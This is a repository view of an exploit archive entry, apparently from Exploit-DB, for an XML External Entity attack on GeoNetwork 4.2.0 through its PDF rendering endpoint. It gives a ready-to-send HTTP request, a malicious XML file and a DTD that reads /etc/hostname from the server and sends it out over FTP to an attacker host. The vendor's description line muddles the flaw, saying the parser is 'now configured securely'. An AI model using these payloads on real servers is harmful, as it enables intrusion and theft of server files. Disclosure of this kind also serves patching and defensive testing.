dfb28913d0
7 changes to exploits/shellcodes Asus GameSDK v1.0.0.4 - 'GameSDK.exe' Unquoted Service Path rpc.py 0.6.0 - Remote Code Execution (RCE) Schneider Electric SpaceLogic C-Bus Home Controller (5200WHC2) - Remote Code Execution Geonetwork 4.2.0 - XML External Entity (XXE) Dingtian-DT-R002 3.1.276A - Authentication Bypass Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Directory Traversal WordPress Plugin WP-UserOnline 2.87.6 - Stored Cross-Site Scripting (XSS)
43 lines
No EOL
1.7 KiB
Text
43 lines
No EOL
1.7 KiB
Text
# Exploit Title: Geonetwork 4.2.0 - XML External Entity (XXE)
|
|
# Date: 2022-July-11
|
|
# Exploit Author: Amel BOUZIANE-LEBLOND (https://twitter.com/amellb)
|
|
# Vendor Homepage: https://geonetwork-opensource.org/
|
|
# Version: Geonetwork 3.10.X through 4.2.0
|
|
# Tested on: Microsoft Windows Server & Linux
|
|
|
|
# Description:
|
|
# GeoNetwork 3.1.x through 4.2.0
|
|
# During rendering pdf of map.
|
|
# The XML parser is now configured securely to validate submitted XML document accepted from an untrusted source, which might result in arbitrary files retrieval from the server.
|
|
|
|
====================PDF RENDERING====================
|
|
|
|
POST /geonetwork/pdf/create.json HTTP/1.1
|
|
Host: REDACTED
|
|
Content-Type: application/json
|
|
Connection: close
|
|
Content-Length: 563
|
|
|
|
{"layout":"landscape","srs":"","units":"m","rotation":0,"lang":"fre","dpi":"190","outputFormat":"pdf","layers":[{"opacity":1,"type":"mapServer","baseURL":"http://attacker/xxe.xml","layers":["Tracts",],
|
|
|
|
"format":"image/svg+xml","name":"xxe","extent":[-20037508.34,-20037508.34,20037508.34,
|
|
|
|
20037508.34],
|
|
|
|
"tileSize":[256,256]}],"enableLegends":true,"hasTitle":true,"hasNoTitle":false,"hasAttribution":false,"pages":[{"center":[172063.3620639667,4200083.030736061],"scale":"2.5E7","dataOwner":"© ","rotation":0,"comment":"ok","title":"ok","langfre":true}]}
|
|
|
|
|
|
The parameters baseURL will be your XML files :
|
|
|
|
====================XXE_ATTACK====================
|
|
|
|
====================XXE.XML=======================
|
|
|
|
<!DOCTYPE foo [ <!ENTITY % pe SYSTEM "http://ATTACKER/x.dtd"> %pe; %param1; ]>
|
|
<foo>&external;</foo>
|
|
|
|
====================X.dtd=========================
|
|
They will call the x.dtd
|
|
|
|
<!ENTITY % stuff SYSTEM "file:///etc/hostname">
|
|
<!ENTITY % param1 "<!ENTITY external SYSTEM 'ftp://ATTACKER_FTP/%stuff;'>"> |